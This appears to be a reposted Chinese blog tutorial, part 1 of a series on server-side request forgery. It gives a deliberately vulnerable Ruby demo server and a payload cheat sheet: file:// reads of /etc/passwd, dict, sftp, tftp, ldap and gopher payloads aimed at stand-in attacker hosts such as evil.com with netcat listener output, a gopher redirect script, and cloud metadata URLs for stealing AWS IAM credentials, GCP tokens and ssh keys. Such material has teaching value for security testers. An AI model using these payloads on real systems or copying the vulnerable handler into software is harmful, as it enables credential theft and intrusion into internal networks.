SSRF-服务器端请求伪造(类型和利用方法)第1部分

什么是SSRF

SSRF是指攻击者从一个具有漏洞的web应用中发送的一个伪造的请求的攻击。
首先介绍一种简单的方式——攻击者要求服务器为他获取一个URL
例如:

GET /?url=http://google.com/ HTTP/1.1
Host: example.com

在这里,example.com从它的服务器获取http://google.com

SSRF的类型

i. 显示对攻击者的响应(Basic)
ii.不显示响应(Blind)

Basic

如前所述,它显示对攻击者的响应,因此在服务器获取攻击者要求的URL后,它将把响应发送回攻击者。
DEMO(使用Ruby)。
安装以下包并运行代码

gem install sinatra

require 'sinatra'
require 'open-uri'

get '/' do
  format 'RESPONSE: %s', open(params[:url]).read
end

上面的代码将打开本地服务器端口4567(取自Jobert的POST)

  • http://localhost:4567/?url=contacts 将打开联系人文件并在前端显示响应
  • http://localhost:4567/?url=/etc/passwd 将打开etc/passwd并响应服务
  • http://localhost:4567/?url=https://google.com 将在服务器上请求google.com并显示响应

我们可以用SSRF做些什么

  • SSRF到反射XSS
  • 尝试利用URL访问内部资源并使服务器执行操作(file:///, dict://, ftp://, gopher://..)
  • 扫描内部网络和端口
  • 如果它在云实例上运行,则可尝试获取元数据

只需从具有内容类型为html的恶意payload的外部站点获取文件。

Example : http://localhost:4567/?url=http://brutelogic.com.br/poc.svg

扫描二维码关注公众号,回复: 5366149 查看本文章

测试URL模式 

当我们发现ssrf时,首先要做的是测试所有工作正常的包装器。

file:///
dict://
sftp://
ldap://
tftp://
gopher://

file:// -

File是用来从文件系统获取文件

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果服务器阻止对外部站点或白名单的http请求,您可以简单地使用以下URL模式来发出请求:
dict:// -
DICT URL 方案用于表示使用DICT协议可用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0

sftp:// -
Sftp代表SSH文件传输协议,或安全文件传输协议,是SSH的内含协议,在安全连接上与SSH类似。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2

ldap:// or ldaps:// or ldapi:// -
LDAP代表轻量级目录访问协议。它是一种通过IP网络管理和访问分布式目录信息服务的应用协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp:// -
简单文件传输协议是一种简单的锁步文件传输协议,它允许客户端从远程主机获取文件或将文件放到远程主机上。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3

gopher:// -
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>

evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test

扫描内部网络和端口 
如果他们在局域网中运行某些服务器(Kibana,Elastic Search,MongoDB ......)会怎样,由于防火墙的限制,我们不能直接从互联网上访问。

我们使用SSRF访问它们。
攻击者运行内部IP和端口扫描,了解有关目标的更多信息,并将其用于进一步攻击。
这有时会导致远程代码执行。
比如 发现了一个内部主机,其运行了一个人尽皆知的具有RCE的过时软件,我们可以在这里使用它来执行代码,对于其他漏洞也是如此。

云实例

Amazon:
如果您在Amazon Cloud中发现SSRF,, Amazon将公开一个内部服务,每个EC2实例都可以查询关于主机的实例元数据。如果您发现在EC2上运行的SSRF漏洞,请尝试请求:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

这将为我们提供很丰富的信息,如Aws密钥、ssh密钥等
请参阅POC- #285380, #53088
例如:-
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD]
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

Google Cloud 
谷歌也一样。

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

进一步利用可能导致实例接管。
参阅 # 341876

Digital Ocean 
关于元数据的概述
http://169.254.169.254/metadata/v1.json

转自:https://mp.weixin.qq.com/s/QJaQaYJyydd2j-2QUyrayA

猜你喜欢

转载自blog.csdn.net/Fly_hps/article/details/88024637